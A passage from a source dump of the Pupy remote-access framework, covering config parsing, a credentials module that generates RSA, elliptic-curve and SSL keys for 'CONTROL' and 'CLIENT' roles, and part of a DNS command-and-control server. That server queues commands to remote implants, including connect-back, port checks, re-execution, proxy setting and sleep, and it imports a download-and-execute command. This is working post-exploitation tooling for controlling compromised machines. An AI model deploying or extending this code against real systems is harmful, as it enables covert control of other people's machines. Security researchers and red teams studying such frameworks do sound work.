\\\n                    option in self.command_line[section]:\n                return self.command_line[section][option]\n\n            section = as_native_string(section)\n            option = as_native_string(option)\n            result = as_unicode_string(\n                RawConfigParser.get(self, section, option, **kwargs),\n                fail=False\n            )\n\n            if result is None:\n                return default\n\n            return result\n\n        except (NoSectionError, NoOptionError):\n            return default\n\n    def getip(self, section, option, default=None):\n        ip = self.get(section, option)\n        if not ip:\n            return default\n\n        return IPAddress(ip)\n\n    def sections(self):\n        sections = [\n            as_unicode_string(section)\n            for section in RawConfigParser.sections(self)\n        ]\n\n        sections.append('randoms')\n        for section in self.command_line:\n            if section not in sections:\n                sections.append(section)\n\n        return sections\n\n    def options(self, section):\n        if section != 'randoms':\n            return [\n                as_unicode_string(option)\n                for option in RawConfigParser.options(\n                    self, as_native_string(section)\n                )\n            ]\n\n        keys = self.randoms.keys()\n        if section in self.command_line:\n            for key in self.command_line[section]:\n                if key not in keys:\n                    keys.append(key)\n\n        return keys\n"
  },
  {
    "path": "pupy/pupylib/PupyCredentials.py",
    "content": "# -*- coding: utf-8-*-\nimport sys\n\nif __name__ == '__main__':\n    sys.path.append('..')\n\nfrom .PupyConfig import PupyConfig\n\nfrom io import open\nfrom os import path, urandom, chmod, makedirs\n\nimport string\nimport errno\nimport time\nimport json\nimport hashlib\n\nfrom datetime import datetime\n\nfrom pupy.network.lib.transports.cryptoutils import ECPV\nfrom getpass import getpass\n\nfrom . import getLogger\nlogger = getLogger('credentials')\n\ntry:\n    from M2Crypto import X509, EVP, RSA, ASN1\nexcept Exception as e:\n    logger.warning(e)\n    M2Crypto=None\n    \nimport rsa\n\nfrom hashlib import md5\ntry:\n    from Crypto.Cipher import AES\n    from Crypto import Random\nexcept Exception as e:\n    logger.warning(e)\n    AES=None\n    Random=None\n\nfrom io import BytesIO\n\ntry:\n    import secretstorage\nexcept ImportError:\n    secretstorage = None\n\n\nif sys.version_info.major > 2:\n    def bord(x):\n        return x\n\n    long = int\n\nelse:\n    bord = ord\n\n# http://stackoverflow.com/questions/16761458/how-to-aes-encrypt-decrypt-files-using-python-pycrypto-in-an-openssl-compatible\n# M2Crypto simply generate garbage instead of AES.. Crazy situation\n\n\nDEFAULT_ROLE = 'CLIENT'\n\n\nclass EncryptionError(Exception):\n    pass\n\n\nclass GnomeKeyring(object):\n    def __init__(self):\n        if secretstorage:\n            try:\n                self.bus = secretstorage.dbus_init()\n            except Exception as e:\n                logger.exception(\n                    'secretstorage dbus intialization failed: %s', e\n                )\n\n                self.bus = None\n\n        self.collection = {\n            'application': 'pupy'\n        }\n\n    def get_pass(self):\n        if not self.bus:\n            return\n\n        try:\n            collection = secretstorage.get_default_collection(self.bus)\n            if collection.is_locked():\n                collection.unlock()  # will open a gnome-keyring popup\n\n            x = next(collection.search_items(self.collection))\n            return x.get_secret()\n\n        except StopIteration:\n            pass\n\n        except Exception as e:\n            logger.warning(\"Error with GnomeKeyring get_pass: %s\", e)\n\n    def store_pass(self, password):\n        if not self.bus:\n            return\n\n        try:\n            collection = secretstorage.get_default_collection(self.bus)\n            if collection.is_locked():\n                collection.unlock()\n\n            collection.create_item(\n                'pupy_credentials', self.collection, password\n            )\n\n        except Exception as e:\n            logger.warning(\"Error with GnomeKeyring store_pass: %s\", e)\n\n    def del_pass(self):\n        if not self.bus:\n            return\n\n        collection = secretstorage.get_default_collection(self.bus)\n        if collection.is_locked():\n            collection.unlock()\n\n        x = next(collection.search_items(self.collection))\n        x.delete()\n\n\nclass Encryptor(object):\n    _instance = None\n    _getpass = getpass\n\n    def __init__(self, password):\n        self.password = password\n\n    @staticmethod\n    def initialized():\n        return not (Encryptor._instance is None)\n\n    @staticmethod\n    def instance(password=None, getpass_hook=None, config=None):\n        if secretstorage and not Encryptor._instance:\n            if not password:\n                config = config or PupyConfig()\n                use_gnome_keyring = config.getboolean(\n                    'pupyd', 'use_gnome_keyring'\n                )\n\n                if use_gnome_keyring:\n                    gkr = GnomeKeyring()\n                    password = gkr.get_pass()\n\n            if not password:\n                getpass_hook = getpass_hook or getpass\n                if use_gnome_keyring:\n                    logger.warning(\n                        'use_gnome_keyring is true, the password '\n                        'will be stored in the Gnome-Keyring'\n                    )\n\n                password = getpass_hook('[I] Credentials password: ')\n                if use_gnome_keyring:\n                    gkr.store_pass(password)\n\n            Encryptor._instance = Encryptor(password)\n\n        return Encryptor._instance\n\n    def derive_key_and_iv(self, salt, key_length, iv_length):\n        d = d_i = ''\n        while len(d) < key_length + iv_length:\n            d_i = md5(d_i + self.password + salt).digest()\n            d += d_i\n        return d[:key_length], d[key_length:key_length+iv_length]\n\n    def encrypt(self, in_file, out_file, key_length=32):\n        bs = AES.block_size\n        salt = Random.new().read(bs - len('Salted__'))\n        key, iv = self.derive_key_and_iv(salt, key_length, bs)\n        cipher = AES.new(key, AES.MODE_CBC, iv)\n        out_file.write('Salted__' + salt)\n        finished = False\n\n        while not finished:\n            chunk = in_file.read(1024 * bs)\n            if len(chunk) == 0 or len(chunk) % bs != 0:\n                padding_length = bs - (len(chunk) % bs)\n                chunk += padding_length * chr(padding_length)\n                finished = True\n\n            out_file.write(cipher.encrypt(chunk))\n\n    def decrypt(self, in_file, out_file, key_length=32):\n        bs = AES.block_size\n        salt = in_file.read(bs)[len('Salted__'):]\n        key, iv = self.derive_key_and_iv(salt, key_length, bs)\n        cipher = AES.new(key, AES.MODE_CBC, iv)\n        next_chunk = ''\n        finished = False\n\n        while not finished:\n            chunk, next_chunk = next_chunk, cipher.decrypt(\n                in_file.read(1024 * bs))\n\n            if len(next_chunk) == 0:\n                padding_length = bord(chunk[-1])\n\n                if padding_length < 1 or padding_length > bs:\n                    try:\n                        # to avoid keep using a bad credential\n                        GnomeKeyring().del_pass()\n                    except Exception as e:\n                        logger.exception('GnomeKeyring del_pass failed: %s', e)\n\n                    raise ValueError(\"bad decrypt pad (%d)\" % padding_length)\n\n                # all the pad-bytes must be the same\n                expected_padding = (padding_length * chr(padding_length))\n                if chunk[-padding_length:] != expected_padding:\n                    # this is similar to the bad decrypt:evp_enc.c\n                    # from openssl program\n                    raise ValueError(\"bad decrypt\")\n\n                chunk = chunk[:-padding_length]\n                finished = True\n\n            out_file.write(chunk)\n\n\nENCRYPTOR = Encryptor.instance\n\nHELP_RESET_MSG = 'FYI you can reset your credentials by removing ' \\\n    'crypto/credentials.py but you will have to re-generate your payloads.'\n\n\ndef _generate_password(length):\n    alphabet = string.punctuation + string.ascii_letters + string.digits\n    return ''.join(\n        alphabet[bord(c) % len(alphabet)] for c in urandom(length)\n    )\n\n\ndef _generate_id(length):\n    alphabet = string.ascii_letters\n    return ''.join(\n        alphabet[bord(c) % len(alphabet)] for c in urandom(length)\n    )\n\n\ndef _generate_ecpv_keypair(curve='brainpoolP160r1'):\n    return ECPV(curve=curve).generate_key()\n\n\ndef _generate_rsa_keypair(bits=2048):\n    key = RSA.gen_key(bits, 65537)\n    private_key = key.as_pem(cipher=None)\n    rsa_privkey = rsa.key.PrivateKey.load_pkcs1(\n        private_key, 'PEM'\n    )\n    rsa_pubkey = rsa.key.PublicKey(rsa_privkey.n, rsa_privkey.e)\n    public_key = rsa_pubkey.save_pkcs1('PEM')\n\n    return private_key, public_key, key\n\n\ndef _generate_ssl_ca():\n    ca_key_pem, ca_cert_pem, ca_key = _generate_rsa_keypair()\n\n    t = long(time.time())\n    now = ASN1.ASN1_UTCTIME()\n    now.set_time(t)\n    expire = ASN1.ASN1_UTCTIME()\n    expire.set_time(t + 365 * 24 * 60 * 60)\n\n    pk = EVP.PKey()\n    pk.assign_rsa(ca_key)\n\n    cert = X509.X509()\n    cert.get_subject().O = _generate_id(10) # noqa\n    cert.set_serial_number(1)\n    cert.set_version(3)\n    cert.set_not_before(now)\n    cert.set_not_after(expire)\n    cert.set_issuer(cert.get_subject())\n    cert.set_subject(cert.get_issuer())\n    cert.set_pubkey(pk)\n\n    cert.add_ext(\n        X509.new_extension('basicConstraints', 'CA:TRUE')\n    )\n    cert.add_ext(\n        X509.new_extension(\n            'subjectKeyIdentifier', gen_identifier(cert))\n    )\n    cert.sign(pk, 'sha256')\n\n    return pk.as_pem(cipher=None), cert.as_pem(), pk, cert\n\n\ndef _generate_ssl_keypair(\n    rsa_key, ca_key, ca_cert, role='CONTROL',\n        client=False, serial=2):\n\n    t = long(time.time())\n    now = ASN1.ASN1_UTCTIME()\n    now.set_time(t)\n    expire = ASN1.ASN1_UTCTIME()\n    expire.set_time(t + 365 * 24 * 60 * 60 * 3)\n\n    pk = EVP.PKey()\n    pk.assign_rsa(rsa_key)\n\n    cert = X509.X509()\n    cert.get_subject().O = _generate_id(10) # noqa\n    cert.get_subject().OU = role\n    cert.set_serial_number(serial)\n    cert.set_version(3)\n    cert.set_not_before(now)\n    cert.set_not_after(expire)\n    cert.set_issuer(ca_cert.get_subject())\n    cert.set_pubkey(pk)\n    cert.add_ext(\n        X509.new_extension('basicConstraints', 'critical,CA:FALSE')\n    )\n    cert.add_ext(\n        X509.new_extension(\n            'subjectKeyIdentifier', gen_identifier(cert)\n        )\n    )\n\n    if client:\n        cert.add_ext(\n            X509.new_extension('keyUsage', 'critical,digitalSignature')\n        )\n        cert.add_ext(\n            X509.new_extension('nsCertType', 'client')\n        )\n    else:\n        cert.add_ext(\n            X509.new_extension('keyUsage', 'critical,keyEncipherment')\n        )\n        cert.add_ext(\n            X509.new_extension('nsCertType', 'server')\n        )\n\n    cert.sign(ca_key, 'sha256')\n\n    return pk.as_pem(cipher=None), cert.as_pem()\n\n\ndef _generate_ecpv_keypair_bp384():\n    return _generate_ecpv_keypair(curve='brainpoolP384r1')\n\n\ndef _generate_rsa_keypair_4096():\n    priv, pub, _ = _generate_rsa_keypair(bits=4096)\n    return priv, pub\n\n\ndef _generate_path_secret():\n    return {\n        'PATH_GEN_SECRET': _generate_password(20)\n    }\n\ndef _generate_bind_payloads_password():\n    return {\n        'BIND_PAYLOADS_PASSWORD': _generate_password(20)\n    }\n\n\ndef _generate_ecpv_rc4():\n    CONTROL_ECPV_RC4_PRIVATE_KEY, CONTROL_ECPV_RC4_PUBLIC_KEY = \\\n        _generate_ecpv_keypair_bp384()\n\n    CLIENT_ECPV_RC4_PRIVATE_KEY, CLIENT_ECPV_RC4_PUBLIC_KEY = \\\n        _generate_ecpv_keypair_bp384()\n\n    return {\n        'CONTROL_ECPV_RC4_PRIVATE_KEY': CONTROL_ECPV_RC4_PRIVATE_KEY,\n        'CONTROL_ECPV_RC4_PUBLIC_KEY': CONTROL_ECPV_RC4_PUBLIC_KEY,\n        'CLIENT_ECPV_RC4_PRIVATE_KEY': CLIENT_ECPV_RC4_PRIVATE_KEY,\n        'CLIENT_ECPV_RC4_PUBLIC_KEY': CLIENT_ECPV_RC4_PUBLIC_KEY,\n    }\n\n\ndef _generate_rsa_keys():\n    CONTROL_RSA_PRIVATE_KEY, CONTROL_RSA_PUBLIC_KEY, _ = \\\n        _generate_rsa_keypair()\n    CLIENT_RSA_PRIVATE_KEY, CLIENT_RSA_PUBLIC_KEY, _ = \\\n        _generate_rsa_keypair()\n\n    return {\n        'CONTROL_RSA_PUB_KEY': CONTROL_RSA_PUBLIC_KEY,\n        'CLIENT_RSA_PUB_KEY': CLIENT_RSA_PUBLIC_KEY,\n        'CONTROL_RSA_PRIV_KEY': CONTROL_RSA_PRIVATE_KEY,\n        'CLIENT_RSA_PRIV_KEY': CLIENT_RSA_PRIVATE_KEY,\n    }\n\n\ndef _generate_dnscnc_v1_keys():\n    ECPV_PRIVATE_KEY, ECPV_PUBLIC_KEY = _generate_ecpv_keypair()\n\n    return {\n        'CONTROL_DNSCNC_PRIV_KEY': ECPV_PRIVATE_KEY,\n        'CLIENT_DNSCNC_PUB_KEY': ECPV_PUBLIC_KEY,\n    }\n\n\ndef _generate_dnscnc_v2_keys():\n    ECPV_PRIVATE_KEY_V2, ECPV_PUBLIC_KEY_V2 = _generate_ecpv_keypair(\n        curve='brainpoolP224r1')\n\n    return {\n        'CONTROL_DNSCNC_PRIV_KEY_V2': ECPV_PRIVATE_KEY_V2,\n        'CLIENT_DNSCNC_PUB_KEY_V2': ECPV_PUBLIC_KEY_V2,\n    }\n\n\ndef _generate_simple_rsa_keys():\n    RSA_PRIVATE_KEY_1, RSA_PUBLIC_KEY_1 = _generate_rsa_keypair_4096()\n    RSA_PRIVATE_KEY_2, RSA_PUBLIC_KEY_2 = _generate_rsa_keypair_4096()\n\n    return {\n        'CONTROL_SIMPLE_RSA_PRIV_KEY': RSA_PRIVATE_KEY_1,\n        'CLIENT_SIMPLE_RSA_PUB_KEY': RSA_PUBLIC_KEY_1,\n        'CLIENT_SIMPLE_RSA_PRIV_KEY': RSA_PRIVATE_KEY_2,\n        'CONTROL_SIMPLE_RSA_PUB_KEY': RSA_PUBLIC_KEY_2,\n    }\n\ndef gen_identifier(cert, dig='sha256'):\n    instr = cert.get_pubkey().get_rsa().as_pem()\n    h = hashlib.new(dig)\n    h.update(instr)\n    digest = h.hexdigest().upper()\n\n    return \":\".join(digest[pos: pos + 2] for pos in range(0, 40, 2))\n\ndef _generate_apk_keypair():\n    priv, pub, key = _generate_rsa_keypair(2048)\n\n    t = long(time.time())\n    now = ASN1.ASN1_UTCTIME()\n    now.set_time(t)\n    expire = ASN1.ASN1_UTCTIME()\n    expire.set_time(t + 365 * 24 * 60 * 60 * 5)\n\n    pk = EVP.PKey()\n    pk.assign_rsa(key)\n\n    cert = X509.X509()\n    cert.get_subject().O = _generate_id(10) # noqa\n    cert.set_serial_number(1337)\n    cert.set_version(2)\n    cert.set_not_before(now)\n    cert.set_not_after(expire)\n    cert.set_pubkey(pk)\n    cert.set_issuer(cert.get_subject())\n    cert.add_ext(X509.new_extension('subjectKeyIdentifier', gen_identifier(cert)))\n    cert.sign(pk, 'sha256')\n\n    return {\n        'CONTROL_APK_PRIV_KEY': pk.as_pem(cipher=None),\n        'CONTROL_APK_PUB_KEY': cert.as_pem(),\n    }\n\ndef _generate_pki_ssl_keys():\n    SSL_CA_PRIVATE_KEY, SSL_CA_CERTIFICATE, CAKEY, CACERT = \\\n        _generate_ssl_ca()\n\n    _, _, KEY1 = _generate_rsa_keypair()\n    _, _, KEY2 = _generate_rsa_keypair()\n    _, _, KEY3 = _generate_rsa_keypair()\n    _, _, KEY4 = _generate_rsa_keypair()\n\n    CONTROL_SSL_BIND_KEY, CONTROL_SSL_BIND_CERTIFICATE = \\\n        _generate_ssl_keypair(KEY1, CAKEY, CACERT)\n    CLIENT_SSL_BIND_KEY, CLIENT_SSL_BIND_CERTIFICATE = \\\n        _generate_ssl_keypair(\n            KEY2, CAKEY, CACERT, role='CLIENT', serial=3\n        )\n\n    CONTROL_SSL_CLIENT_KEY, CONTROL_SSL_CLIENT_CERTIFICATE = \\\n        _generate_ssl_keypair(\n            KEY3, CAKEY, CACERT, client=True, serial=4\n        )\n    CLIENT_SSL_CLIENT_KEY, CLIENT_SSL_CLIENT_CERTIFICATE = \\\n        _generate_ssl_keypair(\n            KEY4, CAKEY, CACERT, role='CLIENT', client=True, serial=5\n        )\n\n    return {\n        'SSL_CA_CERT': SSL_CA_CERTIFICATE,\n        'SSL_CA_KEY': SSL_CA_PRIVATE_KEY,\n        'CONTROL_SSL_BIND_KEY': CONTROL_SSL_BIND_KEY,\n        'CLIENT_SSL_BIND_KEY': CLIENT_SSL_BIND_KEY,\n        'CONTROL_SSL_BIND_CERT': CONTROL_SSL_BIND_CERTIFICATE,\n        'CLIENT_SSL_BIND_CERT': CLIENT_SSL_BIND_CERTIFICATE,\n        'CONTROL_SSL_CLIENT_CERT': CONTROL_SSL_CLIENT_CERTIFICATE,\n        'CLIENT_SSL_CLIENT_CERT': CLIENT_SSL_CLIENT_CERTIFICATE,\n        'CONTROL_SSL_CLIENT_KEY': CONTROL_SSL_CLIENT_KEY,\n        'CLIENT_SSL_CLIENT_KEY': CLIENT_SSL_CLIENT_KEY,\n    }\n\n\nclass Credentials(object):\n    GENERATORS = {\n        # path secret used to generate random path that do not change between each pupysh run\n        'PATH_GEN_SECRET': _generate_path_secret,\n        'BIND_PAYLOADS_PASSWORD': _generate_bind_payloads_password,\n        'CONTROL_ECPV_RC4_PRIVATE_KEY': _generate_ecpv_rc4,\n        'CONTROL_ECPV_RC4_PUBLIC_KEY': _generate_ecpv_rc4,\n        'CLIENT_ECPV_RC4_PRIVATE_KEY': _generate_ecpv_rc4,\n        'CLIENT_ECPV_RC4_PUBLIC_KEY': _generate_ecpv_rc4,\n        'CONTROL_RSA_PUB_KEY': _generate_rsa_keys,\n        'CLIENT_RSA_PUB_KEY': _generate_rsa_keys,\n        'CONTROL_RSA_PRIV_KEY': _generate_rsa_keys,\n        'CLIENT_RSA_PRIV_KEY': _generate_rsa_keys,\n        'CONTROL_DNSCNC_PRIV_KEY': _generate_dnscnc_v1_keys,\n        'CLIENT_DNSCNC_PUB_KEY': _generate_dnscnc_v1_keys,\n        'CONTROL_DNSCNC_PRIV_KEY_V2': _generate_dnscnc_v2_keys,\n        'CLIENT_DNSCNC_PUB_KEY_V2': _generate_dnscnc_v2_keys,\n        'CONTROL_SIMPLE_RSA_PRIV_KEY': _generate_simple_rsa_keys,\n        'CLIENT_SIMPLE_RSA_PUB_KEY': _generate_simple_rsa_keys,\n        'CLIENT_SIMPLE_RSA_PRIV_KEY': _generate_simple_rsa_keys,\n        'CONTROL_SIMPLE_RSA_PUB_KEY': _generate_simple_rsa_keys,\n        #'CONTROL_APK_PRIV_KEY': _generate_apk_keypair,\n        #'CONTROL_APK_PUB_KEY': _generate_apk_keypair,\n        'SSL_CA_CERT': _generate_pki_ssl_keys,\n        'SSL_CA_KEY': _generate_pki_ssl_keys,\n        'CONTROL_SSL_BIND_KEY': _generate_pki_ssl_keys,\n        'CLIENT_SSL_BIND_KEY': _generate_pki_ssl_keys,\n        'CONTROL_SSL_BIND_CERT': _generate_pki_ssl_keys,\n        'CLIENT_SSL_BIND_CERT': _generate_pki_ssl_keys,\n        'CONTROL_SSL_CLIENT_CERT': _generate_pki_ssl_keys,\n        'CLIENT_SSL_CLIENT_CERT': _generate_pki_ssl_keys,\n        'CONTROL_SSL_CLIENT_KEY': _generate_pki_ssl_keys,\n        'CLIENT_SSL_CLIENT_KEY': _generate_pki_ssl_keys,\n    }\n\n    def __init__(self, role=None, password=None, config=None, validate=False):\n        config = config or PupyConfig()\n\n        self._configfile = path.join(\n            config.get_folder('crypto'), 'credentials.py'\n        )\n        self._credentials = {}\n        self._config = config\n        self._encrypted = True\n\n        role = role or DEFAULT_ROLE\n        self.role = role.upper() if role else 'ANY'\n\n        if self.role not in ('CONTROL', 'CLIENT'):\n            raise ValueError('Unsupported role: {}'.format(self.role))\n\n        self._load(password)\n        if validate:\n            self._generate(password)\n\n    def _generate(self, password):\n        required_generators = set()\n\n        for cred in Credentials.GENERATORS:\n            generator = Credentials.GENERATORS[cred]\n            if cred not in self._credentials:\n                required_generators.add(generator)\n                logger.warning(\n                    'Credential \"%s\" is missing and will be generated', cred\n                )\n            elif b'BEGIN CERTIFICATE' in self._credentials[cred]:\n                cert = X509.load_cert_string(self._credentials[cred])\n                expiration = cert.get_not_after().get_datetime()\n                now = datetime.now(expiration.tzinfo)\n                diff = (expiration - now).days\n\n                if expiration <= now:\n                    logger.error(\n                        'Credential \"%s\" is expired! '\n                        'All related credentials will be regenerated',\n                        cred\n                    )\n\n                    required_generators.add(generator)\n                elif diff < 7:\n                    logger.error('%s will expire in %d days', cred, diff)\n                elif diff < 90:\n                    logger.warning('%s will expire in %d days', cred, diff)\n                else:\n                    logger.debug(\n                        'Credential \"%s\" will expire in %d days', cred, diff\n                    )\n            else:\n                logger.debug('Credential \"%s\" exists', cred)\n\n        for generator in required_generators:\n            new_creds = generator()\n            self._credentials.update(new_creds)\n\n        updated = bool(required_generators)\n\n        if updated:\n            self.save(password)\n\n        return updated\n\n    def save(self, password=None):\n        logger.warning('Saving credentials to %s', self._configfile)\n\n        try:\n            creds_dir = path.dirname(self._configfile)\n            if not path.isdir(creds_dir):\n                makedirs(creds_dir)\n        except OSError as e:\n            if not e.errno == errno.EEXIST:\n                raise\n\n        backup = None\n\n        if path.isfile(self._configfile):\n            with open(self._configfile) as user_config:\n                backup = user_config.read()\n\n        try:\n            with open(self._configfile, 'wb') as user_config:\n                chmod(self._configfile, 0o600)\n\n                content = json.dumps(\n                    {\n                        key: value.decode('latin1') if isinstance(\n                            value, bytes\n                        ) else value\n                        for key, value in self._credentials.items()\n                    },\n                    sort_keys=True, indent=2\n                ).encode('latin1')\n\n                if self._encrypted and ENCRYPTOR and password:\n                    encryptor = ENCRYPTOR(password=password)\n                    encryptor.encrypt(BytesIO(content), user_config)\n                else:\n                    user_config.write(content)\n\n        except Exception:\n            if backup:\n                with open(self._configfile, 'wb') as user_config:\n                    user_config.write(backup)\n\n            raise\n\n    def _load(self, password):\n        if path.exists(self._configfile):\n            with open(self._configfile, 'rb') as creds:\n                logger.info('Reading credentials from %s', self._configfile)\n\n                content = creds.read()\n                if not content:\n                    logger.error(\n                        'Credentials storage (%s) is empty', self._configfile\n                    )\n                    return\n\n                if content.startswith(b'Salted__'):\n                    if not ENCRYPTOR:\n                        raise EncryptionError(\n                            'Encrpyted credential storage: {}'.format(\n                                self._configfile\n                            )\n                        )\n\n                    fcontent = BytesIO()\n                    encryptor = ENCRYPTOR(\n                        password=password,\n                        config=self._config\n                    )\n\n                    try:\n                        encryptor.decrypt(BytesIO(content), fcontent)\n                    except Exception as e:\n                        raise EncryptionError(\n                            'Invalid password or corrupted data '\n                            '({}).\\n{}'.format(e, HELP_RESET_MSG)\n                        )\n\n                    content = fcontent.getvalue()\n                else:\n                    self._encrypted = False\n\n                if content.startswith(b'{'):\n                    credentials_dict = json.loads(content)\n                    self._credentials = {\n                        k: credentials_dict[k].encode('latin1')\n                        for k in credentials_dict\n                    }\n                else:\n                    exec(content, self._credentials)\n                    for key in tuple(self._credentials):\n                        if key.startswith('_'):\n                            del self._credentials[key]\n\n                    self.save(password)\n\n    def __getitem__(self, key):\n        env = globals()\n\n        if key in self._credentials:\n            return self._credentials[key]\n        elif '{}_{}'.format(self.role, key) in self._credentials:\n            return self._credentials['{}_{}'.format(self.role, key)]\n        elif key in env:\n            return env[key]\n        elif 'DEFAULT_{}'.format(key) in env:\n            logger.warning(\"Using default credentials for %s\", key)\n            return env['DEFAULT_{}'.format(key)]\n        else:\n            return None\n\n    def __setitem__(self, key, value):\n        self._credentials[key] = value\n\n    def __iter__(self):\n        return iter(self._credentials)\n\n\nif __name__ == '__main__':\n    credentials = Credentials()\n    credentials._generate(force=True)\n"
  },
  {
    "path": "pupy/pupylib/PupyDnsCnc.py",
    "content": "# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys\nimport logging\n\nfrom .PupyCredentials import Credentials\nfrom pupy.network.lib.picocmd.server import (\n    DnsCommandServerHandler, DnsCommandServer, SessionDependedCommand\n)\nfrom pupy.network.lib.picocmd.picocmd import (\n    OnlineStatusRequest, CheckConnect, Connect, ConnectEx,\n    RegisterHostnameId, Disconnect,\n    Reexec, Sleep, Exit, SetProxy, DownloadExec, PasteLink,\n    UnregisteredTargetId\n)\n\nfrom pupy.pupylib.PupyConfig import PupyConfig\nfrom pupy.pupylib.utils.listener import get_listener_ip_with_local, get_listener_port\n\nimport requests\nimport netaddr\n\nif sys.version_info.major > 2:\n    from urllib.parse import urlparse\n\n    basestring = str\nelse:\n    from urlparse import urlparse\n\nfrom io import open\nfrom os import path\n\nfrom .PupyTriggers import event\nfrom .PupyTriggers import (\n    ON_DNSCNC_SESSION, ON_DNSCNC_SESSION_LOST,\n    ON_DNSCNC_EGRESS_PORTS, ON_DNSCNC_HIGH_RESOURCE_USAGE,\n    ON_DNSCNC_PSTORE, ON_DNSCNC_USER_ACTIVE,\n    ON_DNSCNC_USER_INACTIVE, ON_DNSCNC_USERS_INCREMENT,\n    ON_DNSCNC_USERS_DECREMENT, ON_DNSCNC_ONLINE_STATUS,\n    CUSTOM\n)\n\n\nclass PupyDnsActivationHandler(object):\n    __slots__ = ('config',)\n\n    def __init__(self, config):\n        self.config = config\n\n    def __contains__(self, seed):\n        return bool(self.__getitem__(seed))\n\n    def __getitem__(self, seed):\n        return self.config.get('activations', seed)\n\n\nclass PupyDnsCommandServerHandler(DnsCommandServerHandler):\n    def __init__(self, *args, **kwargs):\n        if 'config' in kwargs:\n            self.config = kwargs.pop('config')\n        else:\n            self.config = None\n\n        if 'server' in kwargs:\n            self.server = kwargs.pop('server')\n        else:\n            self.server = None\n\n        if 'whitelist' not in kwargs and self.config:\n            kwargs['whitelist'] = self._whitelist\n\n        if self.config:\n            kwargs['activation'] = PupyDnsActivationHandler(\n                self.config)\n\n        DnsCommandServerHandler.__init__(self, *args, **kwargs)\n\n    def _kex_is_disabled(self, node):\n        if node is None:\n            return False\n\n        nodeid = node.node\n        kex_disabled = self.config.get('dnscnc', 'kex_disabled')\n        if not kex_disabled:\n            return False\n\n        for disabled in kex_disabled.split(','):\n            disabled = disabled.strip()\n\n            try:\n                disabled = int(disabled, 16)\n                if disabled == nodeid:\n                    return True\n\n            except ValueError:\n                for tagged in self.config.by_tags(disabled):\n                    tagged = int(tagged, 16)\n                    if tagged == nodeid:\n                        return True\n\n        return False\n\n\n    def _whitelist(self, nodeid, cid, version):\n        if not self.config.getboolean('dnscnc', 'whitelist'):\n            return True\n\n        if version == 1 and not self.config.getboolean('dnscnc', 'allow_v1'):\n            return False\n\n        if not cid or not nodeid:\n            return self.config.getboolean('dnscnc', 'allow_by_default')\n\n        nodeid = '{:012x}'.format(nodeid)\n        cid = '{:016x}'.format(cid)\n\n        allowed_nodes = self.config.get('cids', cid)\n        if not allowed_nodes:\n            if self.config.getboolean('dnscnc', 'allow_by_default'):\n                return True\n            return False\n\n        return nodeid in set([x.strip().lower() for x in allowed_nodes.split(',')])\n\n    def on_new_session(self, session):\n        event(\n            ON_DNSCNC_SESSION, session,\n            self.server.pupsrv,\n            sid=session.spi, node=session.node)\n\n    def on_session_cleaned_up(self, session):\n        event(ON_DNSCNC_SESSION_LOST,\n              session, self.server.pupsrv,\n              sid=session.spi, node=session.node)\n\n    def on_online_status(self, session):\n        event(ON_DNSCNC_ONLINE_STATUS, session,\n              self.server.pupsrv, sid=session.spi, node=session.node,\n              **session.online_status)\n\n    def on_egress_ports(self, session):\n        event(ON_DNSCNC_EGRESS_PORTS, session,\n              self.server.pupsrv, sid=session.spi, node=session.node,\n              ports=session.egress_ports)\n\n    def on_pstore(self, session):\n        event(ON_DNSCNC_PSTORE, session,\n              self.server.pupsrv, sid=session.spi, node=session.node)\n\n    def on_user_become_active(self, session):\n        event(ON_DNSCNC_USER_ACTIVE, session,\n              self.server.pupsrv, sid=session.spi, node=session.node)\n\n    def on_user_become_inactive(self, session):\n        event(ON_DNSCNC_USER_INACTIVE, session,\n              self.server.pupsrv, sid=session.spi, node=session.node)\n\n    def on_users_increment(self, session):\n        event(ON_DNSCNC_USERS_INCREMENT, session,\n              self.server.pupsrv, sid=session.spi, node=session.node,\n              count=session.system_status['users'])\n\n    def on_users_decrement(self, session):\n        event(ON_DNSCNC_USERS_DECREMENT, session,\n              self.server.pupsrv, sid=session.spi, node=session.node,\n              count=session.system_status['users'])\n\n    def on_high_resource_usage(self, session):\n        event(ON_DNSCNC_HIGH_RESOURCE_USAGE, session,\n              self.server.pupsrv, sid=session.spi, node=session.node,\n              mem=session.system_status['mem'],\n              cpu=session.system_status['cpu'])\n\n    def on_custom_event(self, eventid, session, node):\n        if eventid & CUSTOM != CUSTOM:\n            return\n\n        if session:\n            event(eventid, session,\n                self.server.pupsrv, sid=session.spi, node=session.node)\n        elif node:\n            event(eventid, None,\n                self.server.pupsrv, sid=None, node=node)\n        else:\n            event(eventid, None,\n                self.server.pupsrv, sid=None, node=None)\n\n    def onlinestatus(self, node=None, default=False):\n        return self.add_command(\n            OnlineStatusRequest(), session=node, default=default)\n\n    def scan(self, host, first, last, node=None, default=False):\n        return self.add_command(\n            CheckConnect(host, first, last), session=node, default=default)\n\n    def connect(self, address, port, transport, hostname, node=None, default=False):\n        def connect_ex(session):\n            if not session.system_info_version >= 1:\n                return\n\n            commands = []\n            conn_address = None\n            host_target_id = None\n\n            try:\n                conn_address = netaddr.IPAddress(address)\n\n                if hostname is not None and hostname != address:\n                    raise NotImplementedError(\n                        'Fronting with IP address as main target are not supported'\n                    )\n\n            except netaddr.core.AddrFormatError:\n                try:\n                    target_id = session.registered_hosts.get_target_id(address)\n                except UnregisteredTargetId:\n                    target_id = session.registered_hosts.register(address)\n                    commands.append(RegisterHostnameId(target_id, address))\n\n                if hostname is not None and hostname != address:\n                    try:\n                        host_target_id = session.registered_hosts.get_target_id(hostname)\n                    except UnregisteredTargetId:\n                        host_target_id = session.registered_hosts.register(hostname)\n                        commands.append(RegisterHostnameId(host_target_id, hostname))\n\n                conn_address = target_id\n\n            commands.append(ConnectEx(conn_address, port, transport, host_target_id))\n            return commands\n\n        command = SessionDependedCommand(\n            Connect(address, port, transport),\n            connect_ex\n        )\n\n        return self.add_command(command, session=node, default=default)\n\n    def disconnect(self, node=None, default=False):\n        return self.add_command(Disconnect(), session=node, default=default)\n\n    def reexec(self, node=None, default=False):\n        return self.add_command(Reexec(), session=node, default=default)\n\n    def sleep(self, timeout, node=None, default=False):\n        return self.add_command(Sleep(timeout), session=node, default=default)\n\n    def exit(self, node=None, default=False):\n        return self.add_command(Exit(), session=node, default=default)\n\n    def proxy(self, uri, node=None, default=False):\n        if not uri or uri.lower() in ('none', 'off', 'no', 'disable'):\n            return self.add_command(\n                SetProxy('none', '0.0.0.0', 0),\n                session=node, 